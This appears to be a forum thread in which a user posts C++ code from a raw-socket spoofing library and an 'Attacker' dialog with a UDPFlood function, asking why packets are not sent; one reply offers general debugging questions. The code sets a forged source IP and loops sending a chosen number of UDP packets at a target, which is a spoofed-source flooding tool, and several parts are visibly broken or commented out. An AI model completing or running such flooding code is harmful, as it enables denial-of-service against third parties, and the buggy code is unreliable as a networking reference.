      //AddToBuffer(cNothing,iMaxRoutes*4);
}

void CIPOptions::AddOption_Route(tOptionType tRouteType,tRouting tRoute)
{
      //Option for strict routine
      //Add option strict route
      tOptionType OT;

      ////Get the option
      //OT=GetOption(IPOption_COPY,IPOption_CONTROL,tRouteType);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add the length
      //OT=tRoute.iRoutes*4+IPOption_STRICT_ROUTING_LENGTH;
      //AddToBuffer((char*)&OT,sizeof(OT));
      //
      ////Add the pointer
      //OT=IPOption_STRICT_ROUTING_POINTER;
      //AddToBuffer((char*)&OT,sizeof(OT));
      //
      ////Add the routing table
      //AddToBuffer((char*)tRoute.ulRoutes,tRoute.iRoutes*4);
}

void CIPOptions::AddOption_LooseRoute(tRouting tRoute)
{
      AddOption_Route(IPOption_LOOSE_ROUTING,tRoute);
}

void CIPOptions::AddOption_Timestamp(tOptionType tFlags, int iMaxStamps)
{
      ////Add option for timestamp
      //tOptionType OT;

      ////Get the option
      //OT=GetOption(IPOption_DONT_COPY,IPOption_DEBUGGING,IPOption_TIMESTAMP);

      ////Add it to buffer
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add the length
      //OT=iMaxStamps*IPOption_TIMESTAMP_SIZE+IPOption_TIMESTAMP_LENGTH-1;
      //AddToBuffer((char*)&OT,sizeof(OT));
      //
      ////Add the pointer
      //OT=IPOption_TIMESTAMP_LENGTH;
      //AddToBuffer((char*)&OT,sizeof(OT));

      ////Add the flags
      //AddToBuffer((char*)&tFlags,sizeof(tFlags));

      ////Add the empty buffer
      //char cNothing[IPOption_SIZE]="";
      //AddToBuffer(cNothing,iMaxStamps*IPOption_TIMESTAMP_SIZE);
}

BOOL CSpoofSocket::SetHandlers()
{
      //Check if we allow async sockets
      if (!m_Async)
            return TRUE;

      //First create the window class
      if (!m_Window)
            if (!RegisterWindow())
            {
                  //Error
                  m_LastError=::GetLastError();
                  return FALSE;
            }
            else
            {
                  m_WindowHandle=CreateWindowEx(0,CSpoofSocket_Class,"Socket notification sink",
                                                              WS_OVERLAPPED,0,0,0,0,0,NULL,GetInstance(),NULL);
                  //Check the value of the window
                  if (!m_WindowHandle)
                  {
                        //Error
                        m_LastError=::GetLastError();
                        return FALSE;
                  }
                  else
                        //We have a window
                        m_Window=TRUE;
            }

      //Created !!
      //Success
      return TRUE;
}

HINSTANCE CSpoofSocket::GetInstance()
{
      //Returns the instance of the application, must be overided
      return m_Instance;
}

BOOL CSpoofSocket::OnSocketReceive(int iErrorCode)
{
      //Must override!
      return TRUE;
}

BOOL CSpoofSocket::OnSocketWrite(int iErrorCode)
{
      return TRUE;
}

BOOL CSpoofSocket::OnSocketOOB(int iErrorCode)
{
      return TRUE;
}

BOOL CSpoofSocket::OnSocketClose(int iErrorCode)
{
      return TRUE;
}

BOOL CSpoofSocket::OnSocketAccept(int iErrorCode)
{
      return TRUE;
}

BOOL CSpoofSocket::OnSocketConnect(int iErrorCode)
{
      return TRUE;
}

int CSpoofSocket::GetSocketID()
{
      return m_SocketID;
}

CSpoofSocket* CSpoofSocket::GetSocketByID(int iSockID)
{
      //Get the socket
      CBinaryTree* retVal;

      retVal=m_SocketTree->getNode(iSockID);

      //Check if valid
      if (retVal)
            //Got socket
            return (CSpoofSocket*)retVal->getData();
      else
            //Nothing
            return NULL;
}

BOOL CSpoofSocket::RegisterWindow()
{
      WNDCLASS wc;

      /* Fill in window class structure with parameters that describe the       */
    /* main window.                                                           */

    wc.style = 0;                                                              /* Class style(s).                    */
    wc.lpfnWndProc = (WNDPROC)SocketMessageHandler;       /* Function to retrieve messages for  */
                                        /* windows of this class.             */
    wc.cbClsExtra = 0;                  /* No per-class extra data.           */
    wc.cbWndExtra = 0;                  /* No per-window extra data.          */
    wc.hIcon = NULL;                            /* Icon name from .RC        */
    wc.hInstance = GetInstance();          /* Application that owns the class.   */
    wc.hCursor = NULL;
    wc.hbrBackground = NULL;
    wc.lpszMenuName =  NULL;   /* Name of menu resource in .RC file. */
    wc.lpszClassName = CSpoofSocket_Class ; /* Name used in call to CreateWindow. */

    /* Register the window class and return success/failure code. */

    return (RegisterClass(&wc));
}

//Static members
CBinaryTree* CSpoofSocket::m_SocketTree=NULL;
BOOL CSpoofSocket::m_Window=FALSE;
HWND CSpoofSocket::m_WindowHandle=0;

void CSpoofSocket::SetInstance(HINSTANCE hInst)
{
      m_Instance=hInst;
}

BOOL CSpoofSocket::isRaw()
{
      return m_Raw;
}

BOOL CSpoofSocket::RemoveHandlers()
{
      //First shut down the windows
      if (m_Window)
      {
            if (!DestroyWindow(m_WindowHandle))
                  return FALSE;

            if (!UnregisterClass(CSpoofSocket_Class,GetInstance()))
                  return FALSE;
      }

      m_Window=FALSE;
      m_WindowHandle=NULL;

      return TRUE;
}

HWND CSpoofSocket::getWindowHandle()
{
      return m_WindowHandle;
}

void CSpoofSocket::InitializeIP()
{
      //Invalid the socket
      m_SpoofSocket=INVALID_SOCKET;

      //More invalids
      m_SourceAddress=NULL;

      //Some defaults
      
      
      
      
            
      
      
      
      
      
      
      
      
      
      m_TTL=g_nTTLVAR;














      //We don't want raw header (so it can work on win 98/NT)
      m_Raw=FALSE;

      //Set our options
      m_IPOptions=NULL;

      //Set options to false
      SetOptions(FALSE);

      //We want async socket
      SetBlocking(FALSE);
}

void CSpoofSocket::AssignSocket(SOCKET sok)
{
      //Binds to a socket
      m_SpoofSocket=sok;

      //Set non raw
      SetRaw(FALSE);

      //Set the handlers
      SetHandlers();

      //Append socket to list
      AddSocketToList();
}

void CSpoofSocket::AddSocketToList()
{
      //Add socket to list
      m_SocketID=m_SpoofSocket;
      m_SocketTree->newNode(GetSocketID())->setData(this);
}

void CSpoofSocket::RemoveSocketFromList()
{
      m_SocketTree->deleteNode(m_SocketID);
}

int CSpoofSocket::Receive(char *buf, int bufLen)
{
      if (!ValidSocket())
            return SOCKET_ERROR;

      //Receive data
      int iResult;

      //Receive
      if (m_Protocol!=IPPROTO_TCP)
            iResult=recvfrom(getHandle(),buf,bufLen,NULL,NULL,NULL);
      else
            iResult=recv(getHandle(),buf,bufLen,NULL);

      //Check if error
      if (iResult==SOCKET_ERROR)
            //Error
            SetLastError();

      //Number of bytes received
      return iResult;
}

char FAR * CSpoofSocket::LongToString(long lAddr)
{
      //First create the address
      in_addr addr;

      //Assign it
      addr.S_un.S_addr=lAddr;

      //Return the value
      return inet_ntoa(addr);
}

BOOL CSpoofSocket::OnSocketTimeout()
{
      //Indicating timeout proccessed
      return FALSE;
}

BOOL CSpoofSocket::SetTimeout(int iMs)
{
      if (!m_Window)
            return FALSE;

      //Set the timer
      return SetTimer(getWindowHandle(),getHandle(),iMs,NULL);
}

BOOL CSpoofSocket::KillTimer()
{
      if (!m_Window)
            return FALSE;

      return ::KillTimer(getWindowHandle(),getHandle());
}

BOOL CSpoofSocket::ValidAddress(LPCTSTR lpAddress)
{
      return inet_addr(lpAddress)!=INADDR_NONE;
}

void CSpoofSocket::SetBlocking(BOOL bBlock)
{
      //Do we want blocking socket
      m_Async=!bBlock;
}



SpoofSocket.H header file:


/*
 *
 *
 *  Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *
 * Contact info:
 * Site: http://www.komodia.com
 * Email: barak@komodia.com
 */

#if !defined(AFX_SPOOFSOCKET_H__5BAEA068_961A_4652_8BBD_90B78F6FBB09__INCLUDED_)
#define AFX_SPOOFSOCKET_H__5BAEA068_961A_4652_8BBD_90B78F6FBB09__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// SpoofSocket.h : header file
//

#include <winsock2.h>
#include <ws2tcpip.h>

/////////////////////////////////////////////////////////////////////////////
// CSpoofSocket command target
//////////////////////////////////////////////////////////////////
//                                                                                                //
//                                          IP Header                                          //
//                        Implementation of RFC791 IP Header                        //
//                                                                                                //
//////////////////////////////////////////////////////////////////

typedef struct _PseudoHeader
{
      unsigned int      SourceAddress;
      unsigned int      DestinationAddress;
      unsigned char      Zeros;
      unsigned char      PTCL;
      unsigned short      Length;
} PseudoHeader;

typedef PseudoHeader FAR * LPPseudoHeader;

#define PseudoHeaderLength sizeof(PseudoHeader)

#define tOptionType unsigned char

typedef struct _IPOption
{
      tOptionType            OptionType;
      unsigned char      OptionLength;
      unsigned char      OptionData;
} IPOption;

//IP Options flags (1bit)
#define IPOption_COPY 128
#define IPOption_DONT_COPY 0

//IP Options class (2 bits)
#define IPOption_CONTROL 0
#define IPOption_RESERVED 2
#define IPOption_DEBUGGING 64
#define IPOption_RESERVED2 6

//IP options type
#define IPOption_END_OPTION 0 //End of option list
#define IPOption_NO_OPERATION 1 //Do nothing
#define IPOption_SECURITY 2 //Security information
#define IPOption_LOOSE_ROUTING 3 //Loose routing options
#define IPOption_STRICT_ROUTING 9 //Strict source routing
#define IPOption_RECORD_ROUTE 7 //Record route on datagram
#define IPOption_STREAM 8 //Used to carry stream identifier
#define IPOption_TIMESTAMP 4 //Internet timestamp

//IP options extensions - Security
#define IPOption_SECURITY_LENGTH 11

#define IPOption_SECURITY_UNCLASSIFIED 0
#define IPOption_SECURITY_CONFIDENTIAL 0x1111000100110101b
#define IPOption_SECURITY_EFTO 0x0111100010011010b
#define IPOption_SECURITY_MMMM 0x1011110001001101b
#define IPOption_SECURITY_PROG 0x0101111000100110b
#define IPOption_SECURITY_RESTRICTED 0x1010111100010011b
#define IPOption_SECURITY_SECRET 0x1101011110001000b
#define IPOption_SECURITY_TOPSECRET 0x0110101111000101b
#define IPOption_SECURITY_RESERVED1 0x0011010111100010b
#define IPOption_SECURITY_RESERVED2 0x1001101011110001b
#define IPOption_SECURITY_RESERVED3 0x0100110101111000b
#define IPOption_SECURITY_RESERVED4 0x0010010010111101b
#define IPOption_SECURITY_RESERVED5 0x0001001101011110b
#define IPOption_SECURITY_RESERVED6 0x1000100110101111b
#define IPOption_SECURITY_RESERVED7 0x1100010011010110b
#define IPOption_SECURITY_RESERVED8 0x1110001001101011b


//IP options extensions - Stream ID
#define IPOption_STREAM_LENGTH 4

//IP options extensions - Strict routing
#define IPOption_STRICT_ROUTING_LENGTH 3
#define IPOption_STRICT_ROUTING_POINTER 4

//IP options extensions - Time Stamp
#define IPOption_TIMESTAMP_LENGTH 5

#define IPOption_TIMESTAMP_ONLY 0
#define IPOption_TIMESTAMP_EACH 1
#define IPOption_TIMESTAMP_PRE 2

#define IPOption_TIMESTAMP_SIZE 8


typedef struct _IpHeader
{
      unsigned char            HeaderLength_Version;
      unsigned char            TypeOfService;            // Type of service
      unsigned short            TotalLength;            // total length of the packet
      unsigned short            Identification;            // unique identifier
      unsigned short            FragmentationFlags; // flags
      unsigned char            TTL;                        // Time To Live
      unsigned char            Protocol;           // protocol (TCP, UDP etc)
      unsigned short            CheckSum;                  // IP Header checksum

      unsigned int            sourceIPAddress;      // Source address
      unsigned int            destIPAddress;            // Destination Address

} IpHeader;

typedef IpHeader FAR * LPIpHeader;

#define IpHeaderLength sizeof(IpHeader)

//Some IP constants
//Version
#define IpVersion 4

//Service types
#define IpService_NETWORK_CONTROL 111
#define IpService_INTERNETWORK_CONTROL 110
#define IpService_CRITIC_ECP 101
#define IpService_FLASH_OVERIDE 100
#define IpService_FLASH 011
#define IpService_IMMEDIATE 010
#define IpService_PRIORITY 001
#define IpService_ROUTINE 0

//Fragmetation flag
#define IpFragFlag_MAY_FRAG 0x0000
#define IpFragFlag_MORE_FRAG 0x2000
#define IpFragFlag_LAST_FRAG 0x5000
#define IpFragFlag_DONT_FRAG 0x4000
 
//Internet protocols
#define IpProtocol_ICMP 1
#define IpProtocol_TCP 6
#define IpProtocol_UDP 17

#define IP_DEF_TTL 1

#define IPOption_WRAPSIZE 4
#define IPOption_SIZE 40

#define IPOption_MAX_ROUTES 10

typedef struct _Routing
{
      int iRoutes;
      unsigned long ulRoutes[IPOption_MAX_ROUTES];
} tRouting;

class CBinaryTree;

class CIPOptions
{      
public:
      CIPOptions();
      virtual ~CIPOptions();
private:
      BOOL m_AutoPAD;
      int m_BufferLength;
      char* m_Buffer;
protected:
      void AddOption_Route(tOptionType tRouteType,tRouting tRoute);
      void AddToBuffer(char* buf,int BufLength);
      tOptionType GetOption(unsigned char CopyFlag,unsigned char ClassFlag,unsigned char TypeFlag);
public:
      void AddOption_Timestamp(tOptionType tFlags,int iMaxStamps);
      void AddOption_LooseRoute(tRouting tRoute);
      void AddOption_RecordRoute(int iMaxRoutes);
      void AddOption_StrictRoute(tRouting tRoute);
      void AddOption_Stream(unsigned short usStreamID);
      virtual void AddOption_Security(unsigned short usType);
      void Reset();
      void SetAutoPad(BOOL bAutoPAD);
      virtual void AddOption_ENDLIST();
      int GetBufferLength();
      const char* GetBuffer();
      virtual void AddOption_Nothing();
};

//Message handlers
#define WM_BASE                        WM_USER
#define WM_SOCKET_GENERAL      WM_BASE+1
#define WM_SOCKET_ACCEPT      WM_BASE+2
#define WM_SOCKET_CONNECT      WM_BASE+3
#define WM_SOCKET_TIMEOUT      WM_BASE+4

//Window class name
#define CSpoofSocket_Class "CSpoofSocketClass"

class CSpoofSocket
{
// Attributes
public:

// Operations
public:
      CSpoofSocket();
      virtual ~CSpoofSocket();

// Overrides
public:
      void SetBlocking(BOOL bBlock);
      BOOL ValidAddress(LPCTSTR lpAddress);
      BOOL KillTimer();
      BOOL SetTimeout(int iMs);
      char FAR * LongToString(long lAddr);
      virtual int Receive(char* buf,int bufLen);
      void SetInstance(HINSTANCE hInst);
      int GetSocketID();
      CIPOptions* GetOptions();
      void SetOptions(BOOL bOptions);
      void SetRaw(BOOL bRaw);
      BOOL ShutdownSockets();
      BOOL Listen(int iBackLog);
      void SetTTL(unsigned char ucTTL);
      unsigned short CalculatePseudoChecksum(char *buf, int BufLength,LPCSTR lpDestinationAddress,int iPacketLength);
      void SetSourceAddress(LPCSTR lpSourceAddress);
      BOOL InitializeSockets();
      BOOL Close();
      virtual BOOL Bind(LPCSTR lpSourceAddress,int iPort=0);
      int GetLastError();
      virtual BOOL Send(LPCSTR lpDestinationAddress,LPCSTR g_nData);
      BOOL Create(int iProtocol);
      
protected:
      void AssignSocket(SOCKET sok);
      CSpoofSocket(SOCKET sok);
      HWND getWindowHandle();
      BOOL RemoveHandlers();
      BOOL isRaw();
      virtual BOOL OnSocketTimeout();
      virtual BOOL OnSocketConnect(int iErrorCode);
      virtual BOOL OnSocketAccept(int iErrorCode);
      virtual BOOL OnSocketClose(int iErrorCode);
      virtual BOOL OnSocketOOB(int iErrorCode);
      virtual BOOL OnSocketWrite(int iErrorCode);
      virtual BOOL OnSocketReceive(int iErrorCode);
      virtual HINSTANCE GetInstance();
      BOOL SetHandlers();
      LPCSTR m_SourceAddress;
      void SetProtocol(int iProtocol);
      BOOL CheckSocketValid();
      unsigned short CalculateChecksum(unsigned short* usBuf,int iSize);
      BOOL ValidSocket();
      void SetLastError();
      SOCKET getHandle();
      virtual void InitializeIP();
      virtual void SetIPHeaderAddress(LPIpHeader lpHead,LPCSTR lpSourceAddress,LPCSTR lpDestinationAddress);
      virtual LPIpHeader ConstructIPHeader (unsigned char  ucProtocol,
                                                              unsigned short usFragmentationFlags,
                                                              unsigned char  ucTTL,
                                                              unsigned short usIdentification,
                                                              unsigned char  ucHeaderLength);
private:
      BOOL m_Async;
      void RemoveSocketFromList();
      void AddSocketToList();
      HINSTANCE m_Instance;
      static BOOL m_Window;
      BOOL RegisterWindow();
      static CSpoofSocket* GetSocketByID(int iSockID);
      int m_SocketID;
      static HWND m_WindowHandle;
      CIPOptions* m_IPOptions;
      BOOL m_Options;
      BOOL m_Raw;
      unsigned char m_TTL;
      unsigned char m_Protocol;
      int m_LastError;
      SOCKET m_SpoofSocket;
      static CBinaryTree* m_SocketTree;

      friend LRESULT CALLBACK SocketMessageHandler(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam);
};


/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_SPOOFSOCKET_H__5BAEA068_961A_4652_8BBD_90B78F6FBB09__INCLUDED_)



UDP function call:

void CAttackerDlg::UDPFlood()
{
      //Create the udp socket
      CUDPSocket* udp;
      udp=new CUDPSocket();

      udp->SetRaw(TRUE);

      //Was an error
      BOOL bError=TRUE;

      if (udp->Create())
      {
            bError=FALSE;

            //Set the source IP
            char* cSourceIP;
            cSourceIP=IPCtrlToSTR(&m_SourceIP);

            if (!cSourceIP)
                  //Error
                  AfxMessageBox(ERROR_INVALID_SOURCE);
            else
            {
                  //Copy source IP
                  cSourceIP=_strdup(cSourceIP);

                  char* cDestinationIP;
                  cDestinationIP=IPCtrlToSTR(&m_DestinationIP);

                  if (!cDestinationIP)
                  {
                        delete cSourceIP;
                        //Error
                        AfxMessageBox(ERROR_INVALID_DESTINATION);
                  }
                  else
                  {
                        bError=TRUE;

                        if (m_IPOptions)
                              SetIPOptions(udp);

                        //Let's attack
                        udp->SetSourceAddress(cSourceIP);

                        
                        char cFlood[]="test";
                        
                        for (int iCount=1;iCount<=m_Packets;iCount++)
                              if (udp->Send(m_SourcePort,cDestinationIP,m_DestinationPort,g_nData))
                                    //OK
                                    bError=FALSE;

                        delete cSourceIP;
                  }
            }
      }

      if (bError)
            //Display error
            DisplaySocketError(udp);

      udp->Close();
      delete udp;
}









UDP header:

// UDPSocket.h: interface for the CUDPSocket class.
//
//////////////////////////////////////////////////////////////////////

/*
 *
 *
 *  Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *
 * Contact info:
 * Site: http://www.komodia.com
 * Email: barak@komodia.com
 */

#if !defined(AFX_UDPSOCKET_H__B6FDDD18_19E2_4E61_A04E_CC6DD8583966__INCLUDED_)
#define AFX_UDPSOCKET_H__B6FDDD18_19E2_4E61_A04E_CC6DD8583966__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#include "SpoofSocket.h"

typedef struct _UDPHeader
{
      unsigned short      SourcePort;
      unsigned short      DestinationPort;
      unsigned short      Length;
      unsigned short      Checksum;
} UDPHeader;

typedef UDPHeader FAR * LPUDPHeader;

#define UDPHeaderLength sizeof(UDPHeader)

class CUDPSocket : public CSpoofSocket  
{
public:
      BOOL SetBroadcast(BOOL bBroadcast);
      BOOL Send(int iSourcePort,
                    LPCSTR lpDestinationAddress,
                    int iDestinationPort,
                    LPCSTR g_nData);
      BOOL Create();
      CUDPSocket();
      virtual ~CUDPSocket();

};

#endif // !defined(AFX_UDPSOCKET_H__B6FDDD18_19E2_4E61_A04E_CC6DD8583966__INCLUDED_)





UDPSOCKET.cpp source:


#include "stdafx.h"
#include "UDPSocket.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

int buf;
int BufLength;

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CUDPSocket::CUDPSocket() : CSpoofSocket()
{
}

CUDPSocket::~CUDPSocket()
{

}

BOOL CUDPSocket::Create()
{
      SetProtocol(IPPROTO_UDP);
      return CSpoofSocket::Create(IPPROTO_UDP);
}

BOOL CUDPSocket::Send(int iSourcePort,
                                LPCSTR lpDestinationAddress,
                                int iDestinationPort,
                                LPCSTR g_nData
                                )
{
      //We can construct the UDP here
      LPUDPHeader lpUDP;
      lpUDP=new UDPHeader;

      //Set the ports
      lpUDP->SourcePort=htons(iSourcePort);
      lpUDP->DestinationPort=htons(iDestinationPort);

      //Set the length
      lpUDP->Length=htons(UDPHeaderLength);

      //Check sum
      lpUDP->Checksum=0;

      BOOL bResult;
      if (BufLength)
      {
            //Create the buffer
            int iTotalLength;
            iTotalLength=UDPHeaderLength+BufLength;

            char* tmpBuf;
            tmpBuf=new char[iTotalLength];

      /*      memcpy(tmpBuf,lpUDP,UDPHeaderLength);
            memcpy(tmpBuf+UDPHeaderLength,buf,BufLength);
      */      
            //Update it
            lpUDP->Checksum=CalculatePseudoChecksum(tmpBuf,iTotalLength,lpDestinationAddress,iTotalLength);

            //Recopy it
            memcpy(tmpBuf,lpUDP,UDPHeaderLength);

            //Send it
            bResult=CSpoofSocket::Send(lpDestinationAddress,g_nData);

            //Delete
            delete tmpBuf;
      }
      else
      {
            //Update it
            lpUDP->Checksum=CalculatePseudoChecksum((char*)lpUDP,UDPHeaderLength,lpDestinationAddress,UDPHeaderLength);

            //Send it
            bResult=CSpoofSocket::Send(lpDestinationAddress,g_nData);
      }

      //Clean up
      delete lpUDP;

      return bResult;
}

BOOL CUDPSocket::SetBroadcast(BOOL bBroadcast)
{
      //Set broadcast option
      
      if(setsockopt(getHandle(),SOL_SOCKET,SO_BROADCAST,(char*)&bBroadcast,sizeof(bBroadcast))==SOCKET_ERROR)
      {
            //Check for options error
            SetLastError();
            return FALSE;
      }      

      return TRUE;
}
sendto() is a socket API function. It is hard to figure out what is wrong by just reading the code above. You should debug it. Think about these questions?

What is the data flow?
Where does the data get lost in the chain?
Hey guys, thanks for all your help.  I split the points in half because both of you were extremly helpful.  Thanks!